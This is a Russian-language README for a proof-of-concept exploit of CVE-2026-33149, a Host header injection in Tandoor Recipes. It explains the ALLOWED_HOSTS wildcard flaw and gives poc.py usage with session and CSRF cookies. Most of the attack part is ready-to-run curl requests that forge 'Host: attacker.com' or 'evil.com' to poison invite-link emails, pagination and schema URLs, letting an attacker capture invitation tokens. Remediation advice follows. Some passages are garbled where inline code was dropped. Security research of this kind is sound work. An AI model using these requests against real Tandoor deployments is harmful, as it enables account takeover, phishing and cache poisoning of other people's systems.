
Эксплойт proof-of-concept для CVE-2026-33149 — инъекция заголовка Host в Tandoor Recipes, позволяющая осуществлять отравление пригласительных ссылок и отравление кэша. Включает модули для принятия хоста, пагинации, схемы и отравления приглашений.
Tandoor Recipes по умолчанию устанавливает ALLOWED_HOSTS = '*' в settings.py, из-за чего Django принимает любое значение в HTTP-заголовке без проверки. Приложение использует для генерации абсолютных URL-адресов в нескольких контекстах, критичных для безопасности. Злоумышленник, способный отправлять запросы с подделанным заголовком , может перенаправить все генерируемые сервером URL-адреса на контролируемый злоумышленником домен.
Hostrequest.build_absolute_uri()HostНаиболее критичное воздействие — отравление ссылок приглашений: когда администратор создаёт приглашение пользователя, отправляемое сервером письмо содержит ссылку, указывающую на домен злоумышленника. Жертва переходит по ссылке из легитимно выглядящего письма, токен приглашения перехватывается, и злоумышленник использует его для захвата процесса предоставления учётной записи.
| Поле | Значение |
|---|---|
| CVE ID | CVE-2026-33149 |
| GHSA | GHSA-x636-4jx6-xc4w |
| CWE | CWE-644 — Некорректная нейтрализация HTTP-заголовков для синтаксиса скриптов |
| CVSS v3.1 | 8.1 HIGH — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N |
| Затронутая версия | Tandoor Recipes ≤ 2.5.3 |
| Поставщик | TandoorRecipes/recipes |
Файл: recipes/settings.py:118
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*') # default: wildcard
ALLOWED_HOSTS в Django — это мера безопасности, которая проверяет заголовок Host по белому списку. Подстановочный символ '*' полностью отключает эту проверку, позволяя использовать любое произвольное значение.
Файл: cookbook/serializer.py:1852-1853
message += _('Click the following link to activate your account: ') + self.context[
'request'].build_absolute_uri(
reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'
request.build_absolute_uri() создаёт URL-адреса с использованием request.get_host(), который возвращает необработанное значение заголовка Host, когда ALLOWED_HOSTS его не ограничивает. UUID приглашения — секретный токен — встраивается в URL-адрес, который теперь указывает на злоумышленника.
build_absolute_uri() для URL-адресов next/previous┌──────────┐ ① Подделанный запрос ┌─────────────────┐
│ Злоумыш- │ ──────────────────────────────→│ Сервер Tandoor │
│ ленник │ Host: attacker.com │ ALLOWED_HOSTS=*│
└──────────┘ └────────┬────────┘
│
② build_absolute_uri()
использует "attacker.com"
│
▼
┌────────────────┐
│ SMTP-сервер │
└────────┬───────┘
│
③ Письмо с отравленной ссылкой:
http://attacker.com/invite/<uuid>
│
▼
┌────────────────┐
│ Жертва │
│ (переходит по │
│ ссылке) │
└────────┬───────┘
│
④ UUID отправлен злоумышленнику
│
▼
┌────────────────┐
│ Злоумышленник │
│ использует UUID│
│ на реальном │
│ сервере │
└────────────────┘
requestspip install requests
# Запуск всех модулей проверки с базовой аутентификацией
python3 poc.py --target http://localhost:8085 \
--basic-auth admin:password \
--attacker evil.com \
--module all
# Запуск всех модулей с сессионными cookie
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module all
# Только отравление ссылки приглашения
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module invite \
--email [email protected] \
--group-id 1
| Модуль | Описание |
|---|---|
host-accept | Проверяет, что цель принимает произвольные заголовки Host (ALLOWED_HOSTS = '*') |
pagination | Подтверждает, что URL-адреса пагинации API отражают внедрённый домен |
schema | Подтверждает, что URL-адреса сервера в схеме OpenAPI отражают внедрённый домен |
invite | Создаёт отравленную ссылку приглашения — основной вектор атаки |
all | Запускает все модули последовательно |
1. Принятие заголовка Host
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/user/ \
-H "Host: attacker.com" \
-u "admin:password"
# Ожидается: 200 (уязвимо) | 400 (исправлено)
2. Отражение URL-адреса пагинации
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" \
-H "Accept: application/json"
# Ожидается: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}
3. Отражение URL-адреса схемы
curl -s http://TARGET:8085/api/schema/ \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# Ожидается: http://evil.com/...
4. Отравление ссылки приглашения
curl -s http://TARGET:8085/api/invite-link/ \
-X POST \
-H "Content-Type: application/json" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "X-CSRFToken: CSRF" \
-H "Host: attacker.com" \
-d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# Жертва получает письмо: "Click: http://attacker.com/invite/<uuid>"
| Область воздействия | Описание | Серьёзность |
|---|---|---|
| Перехват токена приглашения | Злоумышленник перехватывает UUID приглашения через отравленную ссылку в письме, захватывая процесс предоставления учётной записи | Критическая |
| Фишинг учётных данных | Жертва попадает на контролируемый злоумышленником домен, ожидая легитимную страницу регистрации | Высокая |
| Отравление кэша | В развёртываниях с кэширующими прокси один отравленный ответ загрязняет кэш для всех пользователей | Высокая |
| Дезинформация API-клиентов | URL-адреса пагинации и схемы перенаправляют потребителей API на инфраструктуру злоумышленника | Средняя |
Укажите ALLOWED_HOSTS с явным перечислением ваших допустимых имён хостов:
# docker-compose.yml или .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost
Host до того, как они достигнут DjangoUSE_X_FORWARDED_HOST = False — убедитесь, что Django не доверяет X-Forwarded-Host из ненадёжных источников (по умолчанию False)SITE_URL для генерации ссылок в письмах вместо использования request.build_absolute_uri()Данное доказательство концепции предоставлено только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Автор не несёт ответственности за неправомерное использование этого инструмента.
Filipe Gaudard — исследователь наступательной безопасности | eWPT | eWPTx